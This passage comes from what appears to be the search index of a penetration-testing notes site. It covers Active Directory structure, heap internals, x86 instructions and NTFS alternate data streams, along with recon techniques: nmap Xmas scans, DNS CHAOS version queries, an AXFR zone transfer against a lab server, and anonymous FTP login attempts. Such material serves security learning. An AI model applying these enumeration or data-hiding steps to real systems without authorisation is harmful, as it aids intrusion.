organizationalUnitName O organizationName STREET streetAddress L localityName ST stateOrProvinceName C countryName UID userid It is also important to note that the following characters are special and need to be escaped by a \\ if they appear in the attribute value: Character Description space or # at the beginning of a string space at the end of a string , comma + plus sign \" double quotes \\ backslash / forwards slash < left angle bracket > right angle bracket ; semicolon LF line feed CR carriage return = equals sign","breadcrumbs":"System Internals ยป Windows ยป Active Directory (AD) ยป Distinguished Name (DN) & Relative Distinguished Name (RDN)","id":"247","title":"Distinguished Name (DN) & Relative Distinguished Name (RDN)"},"248":{"body":"Trusts in Active Directory allow for forest-forest or domain-domain links. They allow users in one domain to access resources in another domain where their account does not reside. The way they work is by linking the authentication systems between two domains. The two parties in a trust do not necessarily have the same capabilities with respect to each other: One-way trusts allow only one party to access the resources of the other. The trusted domain is considered the one accessing the resources and the trusting domain is the one providing them. Two-way trusts allow the parties to mutually access each other's resources. Additionally, trusts can either be transitive or non-transitive. Transitivity means that the trust relationship is propagated upwards through a domain tree as it is formed. For example, a transitive two-way trust is established between a new domain and its parent domain upon creation. Any children of the new domain (grandchildren of the parent domain) will also then share a trust relationship with the master parent. Five possible types of trusts can be discerned depending on the relationships between the systems being linked: Trust Description Parent-child A two-way transitive relationship between a parent and a child domain. Cross-link A trust between two child domains at the same hierarchical level, which is used to speed up authentication. External A non-transitive trust between two separate domains in separate forests which are not already linked by a forest trust. Tree-root A two-way transitive trust between a forest root domain and a new tree root domain. Forest A transitive trust between two forest root domains in separate forests.","breadcrumbs":"System Internals ยป Windows ยป Active Directory (AD) ยป Trusts","id":"248","title":"Trusts"},"249":{"body":"A contact in AD contains information about an external person or company that may need to be contacted on a regular basis. Contact objects are instances of the Contact class and are considered leaf objects. Their attributes include first name, last name, email address, telephone number, etc. Contacts are not security principals - they lack a SID and only have a GUID.","breadcrumbs":"System Internals ยป Windows ยป Active Directory (AD) ยป Contacts ยป Introduction","id":"249","title":"Introduction"},"25":{"body":"Sets the FIN, PSH, and URG flags, lighting the packet up like a Christmas tree. It is performed through the -sX option:","breadcrumbs":"Reconnaissance ยป Enumeration ยป nmap ยป FIN, NULL & XMAS Scans ยป Xmas Scan","id":"25","title":"Xmas Scan"},"250":{"body":"Security Principal - any object which can be authenticated by the operating system, such as user or computer accounts, or a thread/process running in the security context of a user or computer account, or the security groups for these accounts. Security Identifier (SID) - a unique identifier which identifies a security principal/group. Every security principal has its own unique SID, which is issued by the domain controller and stored in a security database.","breadcrumbs":"System Internals ยป Windows ยป Active Directory (AD) ยป Terminology","id":"250","title":"System Internals"},"251":{"body":"A user in AD stores information about an employee or contractor who works for the organisation. These objects are instances of the User class . User objects are leaf objects, since they do not contain any other objects. Every user is considered a security principal and has its own SID and GUID. Additionally, user objects can have numerous different attributes such as display name, email address, last login time, etc - well in excess of 800.","breadcrumbs":"System Internals ยป Windows ยป Active Directory (AD) ยป Users ยป Introduction","id":"251","title":"Introduction"},"252":{"body":"Domain Users in AD are the ones who are capable of accessing resources in the Active Directory environment. These users can log into any host on the network. All domain users have 5 essential naming attributes as well as many others: Attribute Description UserPrincipalName (UPN) The primary logon name for the user, which uses the user's email by convention. ObjectGUID A unique identifier for the user which is never changed even after removal of the user. SAMAccountName A logon name providing support for previous versions of Windows. objectSID The user's security identifier (SID) which identifies the user and their group memberships. sIDHistory A history of the user's SIDs which keeps track of the SIDs for the user when they migrate from one domain to another.","breadcrumbs":"System Internals ยป Windows ยป Active Directory (AD) ยป Users ยป Domain Users","id":"252","title":"Domain Users"},"253":{"body":"Groups are instances of the AD Group class. They provide the means to mass assign permissions to users, making administration a lot easier. The administrator assigns a set of privileges to the group and they will be inherited by any user who joins it. Groups have two essential characteristics - type and scope.","breadcrumbs":"System Internals ยป Windows ยป Active Directory (AD) ยป Groups ยป Introduction","id":"253","title":"Introduction"},"254":{"body":"The group type identifies the group's purpose and must be chosen upon creation of the group. There are two types of groups. Security groups are best suited precisely for the purpose described above - mass assignment of permissions to users. Distributions groups are a bit different - they are unable to assign any permissions and are really only used by email applications for the distribution of messages to their members. They resemble mailing lists and can be auto-filled in the recipient field when sending emails using Microsoft Outlook.","breadcrumbs":"System Internals ยป Windows ยป Active Directory (AD) ยป Groups ยป Group Type","id":"254","title":"Group Type"},"255":{"body":"There are three possible group scopes and once again must be selected upon creation of the group. The group scope determines the level of permissions that can be assigned via the group. Domain Local groups can only be used to manage permissions only regarding resources within the domain that the group belongs to. Whilst such groups cannot be used in other domains, they can contain users from other domains. Additionally, nesting of domain local groups is allowed within other domain local groups but not within global ones. Global groups allow access to resources in a different domain from the one they belong to, although they may only contain users from their origin domain. Nesting of global groups is allowed both in other global groups and local groups. Universal groups allow permissions management across all domains within the same forest. They are stored in the Global Catalog and any change made directly to them triggers forest-wide replication. To avoid unnecessary replications, administrators are advised to keep users and computers in global groups which are themselves stored in universal groups. It is also possible to change the scope of a group under certain conditions: A global group can be promoted to a universal group if it is not part of another global group. A domain local group can be promoted to a universal group if it does not contain any other domain local groups. A universal group can be demoted to a global group if it does not contain any other universal groups. A universal group can be freely demoted to a domain local group.","breadcrumbs":"System Internals ยป Windows ยป Active Directory (AD) ยป Groups ยป Group Scope","id":"255","title":"Group Scope"},"256":{"body":"Some built-in groups are automatically created when an AD environment is set up. These groups have specific purposes and cannot contain other groups - only users. Group Name Description Account Operators Management of most account types with the exception of the Administrator account, administrative user accounts, or members of the Administrators, Server Operators, Account Operators, Backup Operators, or Print Operators groups. Additionally, members can log in locally to domain controllers. Administrators Full access to a computer or an entire domain provided that they are in this group on a domain controller. Backup Operators Ability to back up or restore all files on a computer, irrespective of the permissions set on it; ability to log on and shut down the computer; ability to log on domain controllers locally; ability to make shadow copies of SAM/NTDS databases. DnsAdmins Access to DNS network information. Only created if the DNS server role is installed at some point on a domain controller. Domain Admins Full permissions to administer the domain; local administrators on every domain-joined machine. Domain Computers Stores all computers which are not domain controllers. Domain Controllers Stores all domain controllers in the domain. Domain Guests Includes the built-in Guest account. Domain Users Stores all users in the domain. Enterprise Admins Complete configuration access within the domain; ability to make forest-wide changes such as creating child domains and trusts; only exists in root domains. Event Log Readers Ability to read event logs on local computers. Group Policy Creator Owners Management of GPOs in the domain. Hyper-V Administrators Complete access to all Hyper-V features. IIS_IUSRS Used by IIS. Preโ€“Windows 2000 Compatible Access Provides backwards-compatibility with Windows NT 4.0 or earlier. Print Operators Printer management; ability to log on to DCs and load printer drivers. Protected Users Provides additional protection against attacks such as credential theft or Kerberoasting. Read-Only Domain Controllers Contains all read-only DCs in the domain. Remote Desktop Users Ability to connect to a host via RDP. Remote Management Users Schema Admins Ability to modify the AD schema. Server Operators Ability to modify services, SMB shares and backup files on domain controllers.","breadcrumbs":"System Internals ยป Windows ยป Active Directory (AD) ยป Groups ยป Default Groups","id":"256","title":"Default Groups"},"257":{"body":"Domain Controllers (DCs) are at the heart of Active Directory. There are Flexible Single Master Operation (FSMO) roles which can be assigned separately to domain controllers in order to avoid conflicts when data is update in the AD environment. These roles are the following: Role Description Schema Master Management of the AD schema. Domain Naming Master Management of domain names - ensures that no two domains in the same forest share the same name. Relative ID (RID) Master Assignment of RIDs to other DCs within the domain, which helps to ensure that no two objects share the same SID. PDC Emulator The authoritative DC in the domain - responds to authentication requests, password changes, and manages Group Policy Objects (GPOs). Additionally, it keeps track of time within the domain. Infrastructure Master Translation of GUIDs, SIDs, and DNs between domains in the same forest.","breadcrumbs":"System Internals ยป Windows ยป Active Directory (AD) ยป Domain Controllers ยป Introduction","id":"257","title":"Introduction"},"258":{"body":"A computer object is an instance of the Computer class in Active Directory and represents a workstation or server connected to the AD network. Computer objects are security principals and therefore have both a SID and GUID. These are prime targets for adversaries, since full administrative access to a computer (NT AUTHORITY\\SYSTEM) grants privileges similar to those of a standard domain user and can be used to enumerate the AD environment.","breadcrumbs":"System Internals ยป Windows ยป Active Directory (AD) ยป Computers ยป Introduction","id":"258","title":"Introduction"},"259":{"body":"Windows uses the New Technology File System (NTFS) for managing its files and folders. What makes it special is its ability to automatically repair files and folders on disk using log files in case of a failure. Additionally, it lifts certain limitations which were characteristic of its predecessors by supporting files larger than 4GB, being able to set permissions on specific files and folders and being able to avail itself of both compression and encryption. Another peculiar feature of NTFS are Alternate Data Streams .","breadcrumbs":"System Internals ยป Windows ยป File System ยป Introduction","id":"259","title":"Introduction"},"26":{"body":"The BIND software is the most commonly used name server software, which supports CHAOSNET queries. This can be used to query the name server for its software type and version. We are no longer querying the domain name system but are instead requesting information about the BIND instance. Our queries will still take the form of domain names - using .bind as the top-level domain. The results from such a query are returned as TXT records. Use the following syntax for quering BIND with the CHAOS class: dig @ โ”Œโ”€โ”€(cr0mll@kali)-[~]-[]\nโ””โ”€$ dig @192.168.129.138 chaos version.bind txt ; <<>> DiG 9.16.15-Debian <<>> @192.168.129.138 chaos version.bind txt\n; (1 server found)\n;; global options: +cmd\n;; Got answer:\n;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 38138\n;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1\n;; WARNING: recursion requested but not available ;; OPT PSEUDOSECTION:\n; EDNS: version: 0, flags:; udp: 4096\n;; QUESTION SECTION:\n;version.bind. CH TXT ;; ANSWER SECTION:\nversion.bind. 0 CH TXT \"9.8.1\" ;; AUTHORITY SECTION:\nversion.bind. 0 CH NS version.bind. ;; Query time: 0 msec\n;; SERVER: 192.168.129.138#53(192.168.129.138)\n;; WHEN: Tue Sep 14 16:24:35 EEST 2021\n;; MSG SIZE rcvd: 73 Looking at the answer section, we see that this name server is running BIND 9.8.1. Other chaos records you can request are hostname.bind, authors.bind, and server-id.bind.","breadcrumbs":"Reconnaissance ยป Enumeration ยป DNS Server Enumeration (53) ยป Enumerating BIND servers with CHAOS","id":"26","title":"Enumerating BIND servers with CHAOS"},"260":{"body":"NTFS allows for every user/group to have its own set of permissions on every file and folder in the file system tree. The following six types of permissions can be set: Permission On Files On Folders Read View or access the file's contents. View and list files and subfolders. Write Write to the file. Add files or subfolders. Read & Execute View or access the file's contents as well as execute the file. View and list files and subfolders as well as execute files. Inherited by both files and folders. List Folder Contents N/A View and list files and subfolders as well as execute files. Inherited only by folders. Modify Read and write to the file, or delete it. Read and write to files and subfolders, or delete the folder. Full Control Read, write, change or delete the file. Read, write, change or delete files and subfolders.","breadcrumbs":"System Internals ยป Windows ยป File System ยป Permissions","id":"260","title":"Permissions"},"261":{"body":"Permissions can be inspected from the command line by running icacls The last set of () for each user/group tell you the permissions: F - Full Control M - Modify RX - Read & Execute R - Read W - Write Additionally, the permissions on a file/folder can be inspected by right-clicking on the item in Windows Explorer, following Properties->Security and then selecting the user/group you want to see the permissions for.","breadcrumbs":"System Internals ยป Windows ยป File System ยป Inspecting Permissions","id":"261","title":"Inspecting Permissions"},"262":{"body":"A not very well-known, yet interesting feature of NTFS are the so-called Alternate Data Streams. These were implemented for better Macintosh file support, but they can lead to security vulnerabilities and ways to hide data. A data stream can be thought of as a file within another file. Each stream has its own allocated disk space, size and file locks. Moreover, alternate data streams are invisible to Windows Explorer which makes them an easy way to hide data within legitimately looking files. Every file in NTFS has at least one default data stream where its data is stored. The default data stream is innominate and any stream which does have a name is considered an alternate data stream.","breadcrumbs":"System Internals ยป Windows ยป File System ยป Alternate Data Streams (ADS)","id":"262","title":"Alternate Data Streams (ADS)"},"263":{"body":"ADSs cannot be manipulated via Windows Explorer and so the command-line is needed. File operations with alternate data streams on the command-line work the same, but you will need to use the : format to refer to the stream you want to manipulate. For example, echo hello > file.txt\necho secret > file.txt:hidden Windows Explorer is completely oblivious to the alternate data stream. The command-line, however, is not: Additionally, the dir /R command can be used to list alternate data streams for files in a directory: A more sophisticated tool for managing ADSs, called Streams comes with the SysInternals suite. It can be used with the -s option to recursively show all streams for the files in a directory: The number next to the stream name is the size of the data stored in the stream. Streams can also be used to delete all streams from a file with the -d option:","breadcrumbs":"System Internals ยป Windows ยป File System ยป Working with ADSs","id":"263","title":"Working with ADSs"},"264":{"body":"","breadcrumbs":"Reverse Engineering ยป Reverse Engineering","id":"264","title":"Reverse Engineering"},"265":{"body":"","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Program Anatomy","id":"265","title":"Program Anatomy"},"266":{"body":"The stack is a place in memory. It's a Last-In-First-Out (LIFO) data structure, meaning that the last element to be added will be the first to get removed. Each process has access to its own stack which isn't bigger than a few megabytes. Adding data to the stack is called pushing onto the stack, whilst removing data is called popping off the stack. Although the location of the added or removed data is fixed (it's always to or from the top of the stack), existing data can still be read or written to arbitrarily. A special register is used for keeping track of the top of the stack - the stack pointer or rsp. When pushing data, the stack pointer diminishes , and when removing data, the stack pointer augments . This is because the stack grows from higher to lower memory addresses.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Stack ยป The Stack","id":"266","title":"The Stack"},"267":{"body":"When a function is invoked, a stack frame is constructed. First, the function's arguments which do not fit into the registers are pushed on the stack, then the return address is also pushed. Following this, the value of a special register known as the base pointer (rbp) is saved onto the stack and the value inside the register is then updated to point to the location on the stack where we saved the base pointer. From then on, the stack pointer is used for allocating local data inside the function and the base pointer is used for accessing this data. long func(long a, long b, long c, long d, long e, long f, long g, long h)\n{ long x = a * b * c * d * e * f * g * h; long y = a + b + c + d + e + f + g + h; long z = otherFunc(x, y); return z + 20;\n} Sometimes, the base pointer might be completely absent in optimised programs because compilers are good enough in keeping track of offsets directly from the stack pointer.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Stack ยป Stack Frames","id":"267","title":"Stack Frames"},"268":{"body":"Each program is comprised of a set of instructions which tell the CPU what operations it needs to perform. Different CPU architectures make use of different instruction sets, however, all of them boil down to two things - an opertation code (opcode) and optional data that the instruction operates with. These are all represented using bits - 1s and 0s.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Instructions ยป Instructions","id":"268","title":"Instructions"},"269":{"body":"Moves the value inside one register to another: mov rax, rdx","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Instructions ยป mov","id":"269","title":"mov"},"27":{"body":"A Zone transfer request provides the means for copying a DNS zone file from one name server to another. This, however, only works over TCP. By doing this, you can obtain all the records of a DNS server for a particular zone. This is done through the AXFR request type: dig @ AXFR โ”Œโ”€โ”€(cr0mll0@kali)-[~]-[]\nโ””โ”€$ dig @192.168.129.138 AXFR nsa.gov ; <<>> DiG 9.16.15-Debian <<>> @192.168.129.138 AXFR nsa.gov\n; (1 server found)\n;; global options: +cmd\nnsa.gov. 3600 IN SOA ns1.nsa.gov. root.nsa.gov. 2007010401 3600 600 86400 600\nnsa.gov. 3600 IN NS ns1.nsa.gov.\nnsa.gov. 3600 IN NS ns2.nsa.gov.\nnsa.gov. 3600 IN MX 10 mail1.nsa.gov.\nnsa.gov. 3600 IN MX 20 mail2.nsa.gov.\nfedora.nsa.gov. 3600 IN TXT \"The black sparrow password\"\nfedora.nsa.gov. 3600 IN AAAA fd7f:bad6:99f2::1337\nfedora.nsa.gov. 3600 IN A 10.1.0.80\nfirewall.nsa.gov. 3600 IN A 10.1.0.105\nfw.nsa.gov. 3600 IN A 10.1.0.102\nmail1.nsa.gov. 3600 IN TXT \"v=spf1 a mx ip4:10.1.0.25 ~all\"\nmail1.nsa.gov. 3600 IN A 10.1.0.25\nmail2.nsa.gov. 3600 IN TXT \"v=spf1 a mx ip4:10.1.0.26 ~all\"\nmail2.nsa.gov. 3600 IN A 10.1.0.26\nns1.nsa.gov. 3600 IN A 10.1.0.50\nns2.nsa.gov. 3600 IN A 10.1.0.51\nprism.nsa.gov. 3600 IN A 172.16.40.1\nprism6.nsa.gov. 3600 IN AAAA ::1\nsigint.nsa.gov. 3600 IN A 10.1.0.101\nsnowden.nsa.gov. 3600 IN A 172.16.40.1\nvpn.nsa.gov. 3600 IN A 10.1.0.103\nweb.nsa.gov. 3600 IN CNAME fedora.nsa.gov.\nwebmail.nsa.gov. 3600 IN A 10.1.0.104\nwww.nsa.gov. 3600 IN CNAME fedora.nsa.gov.\nxkeyscore.nsa.gov. 3600 IN TXT \"knock twice to enter\"\nxkeyscore.nsa.gov. 3600 IN A 10.1.0.100\nnsa.gov. 3600 IN SOA ns1.nsa.gov. root.nsa.gov. 2007010401 3600 600 86400 600\n;; Query time: 4 msec\n;; SERVER: 192.168.129.138#53(192.168.129.138)\n;; WHEN: Fri Sep 17 22:38:47 EEST 2021\n;; XFR size: 27 records (messages 1, bytes 709)","breadcrumbs":"Reconnaissance ยป Enumeration ยป DNS Server Enumeration (53) ยป DNS Zone Transfer","id":"27","title":"DNS Zone Transfer"},"270":{"body":"Load effective address - this instruction calculates the address of its second operand and moves it into its first operand: lea rdx, [rax+0x10] This will move rax+0x10 inside rdx.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Instructions ยป lea","id":"270","title":"lea"},"271":{"body":"This instruction adds its operands and stores the result in its first operand: add rax, rdx","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Instructions ยป add","id":"271","title":"add"},"272":{"body":"This instruction subtracts the second operand from the first and stores the result in its first operand sub rax, 0x9","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Instructions ยป sub","id":"272","title":"sub"},"273":{"body":"It performs XOR-ing on its operands and stores the results into the first operand: xor rdx, rax The and and or are the same, but instead perform a binary AND and a binary OR operation, respectively.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Instructions ยป xor","id":"273","title":"xor"},"274":{"body":"Decreases the stack pointer (grows the stack) by 8 (4 on x86) bytes and stores the contents of its operand on the stack: push rax","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Instructions ยป push","id":"274","title":"push"},"275":{"body":"Increases the stack pointer (shrinks the stack) by 8 (4 on x86) bytes and stores the popped value from the stack into its operand: pop rax","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Instructions ยป pop","id":"275","title":"pop"},"276":{"body":"Jumps to the address specified - used for redirecting code execution: jmp 0x6A2B10","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Instructions ยป jmp","id":"276","title":"jmp"},"277":{"body":"Used for invoking procedures. It first pushes the values of the base and stack pointers onto the stack and then jumps to the specified address. After the function is finished, a ret instruction is issued which restores the values of the stack and base pointers from the stack and continues execution from where it left off.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Instructions ยป call","id":"277","title":"call"},"278":{"body":"It compares the value of its two operands and sets the according flags depending on the result: cmp rax, rdx If rax < rdx, the zero flag is set to 0 and the carry flag is set to 1. If rax > rdx, the zero flag is set to 0 and the carry flag is set to 0. If rax = rdx, the zero flag is set to 1 and the carry flag is set to 0.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Instructions ยป cmp","id":"278","title":"cmp"},"279":{"body":"jump-if-zero and jump-if-not-zero execute depending on the state of the zero flag.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป Instructions ยป jz / jnz","id":"279","title":"jz / jnz"},"28":{"body":"The File Transfer Protocol (FTP) is a common protocol which you may find during a penetration test. It is a TCP-based protocol and runs on port 21. Luckily, its enumeration is simple and rather straight-forward. You can use the ftp command if you have credentials: ftp You can then proceed with typical navigation commands like dir, cd, pwd, get and send to navigate and interact with the remote file system. If you don't have credentials you can try with the usernames guest, anonymous, or ftp and an empty password in order to test for anonymous login.","breadcrumbs":"Reconnaissance ยป Enumeration ยป FTP Enumeration (21) ยป Introduction","id":"28","title":"Introduction"},"280":{"body":"The heap is a memory region which allows for dynamic allocation. Memory on the heap is allotted at runtime and programs are permitted to freely request additional heap memory whenever it is required. It is the program's job to request and relieve any heap memory only once . Failure to do so can result in undefined behaviour. In C, heap memory is usually allocated through the use of malloc and whenever the program is finished with this data, the free function must be invoked in order to mark the area as available for use by the operating system and/or other programs. Heap memory can also be allocated by using malloc-compatible heap functions like calloc, realloc and memalign or in C++ using the corresponding new and new[] operators as well as their deallocation counterparts delete and delete[].","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป The Heap","id":"280","title":"The Heap"},"281":{"body":"Do not read or write to a pointer returned by malloc after that pointer has been passed to free. -> Can lead to use after free vulnerabilities. Do not use or leak uninitialised information in a heap allocation. -> Can lead to information leaks or uninitialised data vulnerabilities. Do not read or write bytes after the end of an allocation. -> Can lead to heap overflow and read beyond bounds vulnerabilities. Do not pass a pointer that originated from malloc to free more than once. -> Can lead to double delete vulnerabilities. Do not write bytes before the beginning of the allocation. -> Can lead to heap underflow vulnerabilities. Do not pass a pointer that did not originate from malloc to free. -> Can lead to invalid free vulnerabilities. Do not use a pointer returned by malloc before checking if the function returned NULL. -> Can lead to null-dereference bugs and sometimes arbitrary write vulnerabilities. The implementation of the heap is platform specific.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป Heap Rules","id":"281","title":"Heap Rules"},"282":{"body":"The heap grows from lower to higher addresses.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป The GLIBC Heap","id":"282","title":"The GLIBC Heap"},"283":{"body":"The heap manager allocates resources in the so-called chunks . These chunks are stored adjacent to each other and must be 8-byte aligned or 16-byte aligned on 32-bit and 64-bit systems respectively. In addition to this padding, each chunks contains metadata which provides information about the chunk itself. Consequently, issuing a request for memory allocation on the heap actually allocates more bytes than originally requested. It is important to distinguish between in-use chunks and free (or previously allocated) chunks, since they have disparate memory layouts. The following diagram outlines a chunk that is in use: The size field contains the chunk size in bytes. The following three bits carry specific meaning: A (0x04) - Allocated arena. If this bit is 0, the chunk comes from the main arena and the main heap. If this bit is 1, the chunk comes from mmap'd memory and the location of the heap can be computed from the chunk's address. M (0x02) - If this bit is set, then the chunk was mmap-ed and isn't part of a heap. Typically used for large allocations. P (0x01) - If this bit is set, then the previous chunk should not be considered for coalescing and the mchunkptr points to a previous chunk still in use A free chunk looks a bit different: The size and AMP fields carry on the same meaning as those in chunks that are in use. Free chunks are organised in linked or doubly linked lists called bins . The fwd and bck pointers are utilised in the implementation of those linked lists. Different types of bins exist for different purposes. The top of the heap is by convention called the top chunk .","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป Chunks","id":"283","title":"Chunks"},"284":{"body":"","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป Memory Allocation on the Heap","id":"284","title":"Memory Allocation on the Heap"},"285":{"body":"When an application requests heap memory, the heap manager traverses the bins in search of a free chunk that is large enough to service the request. If such a chunk is found, it is removed from the bin, turned into an in-use chunk and then a pointer is returned to the user data section of the chunk.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป Allocating from Free Chunks","id":"285","title":"Allocating from Free Chunks"},"286":{"body":"If no free chunk is found that can service the request, the heap manager must construct an entirely new chunk at the top of heap. To achieve this, it first needs to ascertain whether there is enough space at the top of the heap to hold the new chunk.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป Allocating from the Top Chunk","id":"286","title":"Allocating from the Top Chunk"},"287":{"body":"Once the free space at the top of the heap is used up, the heap manager will have to ask the kernel for additional memory. On the initial heap, the heap manager asks the kernel to allocate more memory at the end of the heap by calling sbrk.On most Linux-based systems this function internally uses a system call called brk. Eventuall, the heap will grow to its maximum size, since expanding it any further would cause it to intrude on other sections of the process' address space. In this case, the heap manager will resort to using mmap to map new memory for heap expansions. If mmap also fails, then the process is unable to allocate more memory and malloc returns NULL.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป Requesting Additional Memory at the Top of the Heap from the Kernel","id":"287","title":"Requesting Additional Memory at the Top of the Heap from the Kernel"},"288":{"body":"Large chunks get treated differently in their allocation. These are allocated off-heap through the direct use of mmap calls and this is reflected in the chunk's metadata by setting the M bit to 1. When such allocations are later returned to the heap manager via a call to free, the heap manager releases the entire mmap-ed region back to the system via munmap. Different platforms have different default thresholds for what counts as a large chunk and what doesn't.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป Allocating Large Chunks","id":"288","title":"Allocating Large Chunks"},"289":{"body":"Multithreaded applications require that internal data structures on the heap are protected from race conditions. In the past, the heap manager availed itself of a global mutex before every heap operation, however, significant performance issues arose as a result. Consequently, the concept of \"arenas\" was introduced. Each arena consists of a separate heap which manages its own chunk allocation and bins. Although each arena still utilises a mutex for its internal operations, different threads can make use of different arenas to avoid having to wait for each other. The initial (main) arena consists of a single heap and for single-threaded applications it is all there ever will exist. However, as more threads are spawned, new arenas are allocated and attached to them. Once all available arenas are being utilised by threads, the heap manager will commence creating new ones until a limit - 2 * Number of CPU cores for 32-bit and 8 * Number of CPU cores for 64-bit processes - is reached. Afterwards, multiple threads will be forced to share the same arena.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป Arenas","id":"289","title":"Arenas"},"29":{"body":"You will need working knowledge of SNMP in order to follow through.","breadcrumbs":"Reconnaissance ยป Enumeration ยป SNMP Enumeration (161) ยป Introduction","id":"29","title":"Introduction"},"290":{"body":"Free chunks are organised in the so-called bins which are essentially linked lists. For performance reasons different types of bins exist. There are 62 small bins, 63 large bins, 1 unsorted bin, 10 fast bins and 64 tcache bins per thread. The last two appeared later and are built on top of the first three. Pointers to the small, large, and unsorted bins are stored in the same array in the heap manager: BIN[0] -> invalid (unused)\nBIN[1] -> unsorted bin\nBIN[2] to BIN[63] -> small bins\nBIN[64] to BIN[126] -> large bins","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป Bins","id":"290","title":"Bins"},"291":{"body":"There are 62 small bins and each of them stores chunks of a fixed size. Each chunk with a size less than 512 bytes on 32-bit systems and 1024 bytes on 64-bit systems has a corresponding small bin. Small bins are sorted by default due to the fixed size of their elements and Insertion and removal of entries on these bins is incredibly fast.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป Small Bins","id":"291","title":"Small Bins"},"292":{"body":"There are 63 large bins and they resemble small bins in their operation but store chunks of different sizes. Consequently, insertions and removal of entries on these lists is slower, since the entire bin has to be traversed in order to find a suitable chunk. There is a different number of bins allocated for specific chunk size ranges. The size of the chunk size range begins at 64 bytes - there are 32 bins all of which shift the range of chunk sizes they store by 64 from the previous bin. Following are 16 bins which shift the range by 512 bytes and so on. In essence: Bin 1 -> stores chunks of sizes 512 - 568 bytes; Bin 2 -> stores chunks of sizes 576 - 632 bytes; ... There are: Number of Bins Spacing between Bins 32 64 16 512 8 4096 4 32768 2 262144 1 Remaining chunk sizes","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป Large Bins","id":"292","title":"Large Bins"},"293":{"body":"There is a single unsorted bin. Chunks from small and large bins end up directly in this bin after they are freed. The point of the unsorted bin is to speed up allocations by serving a sort of cache. When malloc is invoked, it will first traverse this bin and see if it can immediately service the request. If not, it will move onto the small or large bins respectively.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป Unsorted Bins","id":"293","title":"Unsorted Bins"},"294":{"body":"Fast bins provide a further optimisation layer. Recently released small chunks are put in fast bins and are not initially merged with their neighbours. This allows for them to be repurposed forthwith, should a malloc request for that chunk size come very soon after the chunk's release. There are 10 fast bins, covering chunks of size 16, 24, 32, 40, 48, 56, 64, 72, 80, and 88 bytes plus chunk metadata. Fast bins are implemented as singly linked lists and insertions and removals of entries in them are really fast. Periodically, the heap manager consolidates the heap - chunks in the fast bins are merged with the abutting chunks and inserted into the unsorted bin. This consolidation occurs when a malloc request is issued for a size that is larger than a fast bin can serve (chunks over 512 bytes on 32-bit systems and over 1024 bytes on 64-bit systems), when freeing a chunk larger than 64KB or when malloc_trim or mallopt is invoked.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป Fast Bins","id":"294","title":"Fast Bins"},"295":{"body":"A new caching mechanism called tcache (thread local caching) was introduced in glibc version 2.26 back in 2017. The tcache stores bins of fixed size small chunks as singly linked lists. Similarly to a fast bin, chunks in tcache bins aren't merged with adjoining chunks. By default, there are 64 tcache bins, each containing a maximum of 7 same-sized chunks. The possible chunk sizes range from 12 to 516 bytes on 32-bit systems and from 24 to 1032 bytes on 64-bit systems. When a chunk is freed, the heap manager checks if the chunk fits into a tcache bin corresponding to that chunk size. If the tcache bin for this size is full or the chunk is simply too big to fit into a tcache bin, the heap manager obtains a lock on the arena and proceeds to comb through other bins in order to find a suitable one for the chunk. When malloc needs to service a request, it first checks the tcache for a chunk of the requested size that is available and should such a chunk be found, malloc will return it without ever having to obtain a lock. If the chunk too big, malloc continues as before. A slightly different strategy is employed if the requested chunk size does have a corresponding tcache bin, but that bin is simply full. In that case, malloc obtains a lock and promotes as many heap chunks of the requested size to tcache chunks, up to the tcache bin limit of 7. Subsequently, the last matching chunk is returned.","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป TCache Bins","id":"295","title":"TCache Bins"},"296":{"body":"","breadcrumbs":"Reverse Engineering ยป Program Anatomy ยป The Heap ยป malloc and free","id":"296","title":"malloc and free"},"297":{"body":"First, every allocation exists as a memory chunk which is aligned and contains metadata as well as the region the programmer wants. When a programmer requests memory from the heap, the heap manager first works out what chunk size the allocation request corresponds to, and then searches for the memory in the following order: If the size corresponds with a tcache bin and there is a tcache chunk available, return that immediately. If the request is huge, allocate a chunk off-heap via mmap. Otherwise obtain the arena heap lock and then perform the following steps, in order: Try the fastbin/smallbin recycling strategy If a corresponding fast bin exists, try and find a chunk from there (and also opportunistically prefill the tcache with entries from the fast bin). Otherwise, if a corresponding small bin exists, allocate from there (opportunistically prefilling the tcache as we go). Resolve all the deferred frees - Otherwise merge the entries in the fast bins and move their consolidated chunks to the unsorted bin. - Go through each entry in the unsorted bin. If it is suitable, return it. Otherwise, put the unsorted entry on its corresponding small/large bin as we go (possibly promoting small entries to the tcache). Default back to the basic recycling strategy If the chunk size corresponds with a large bin, search the corresponding large bin now. Create a new 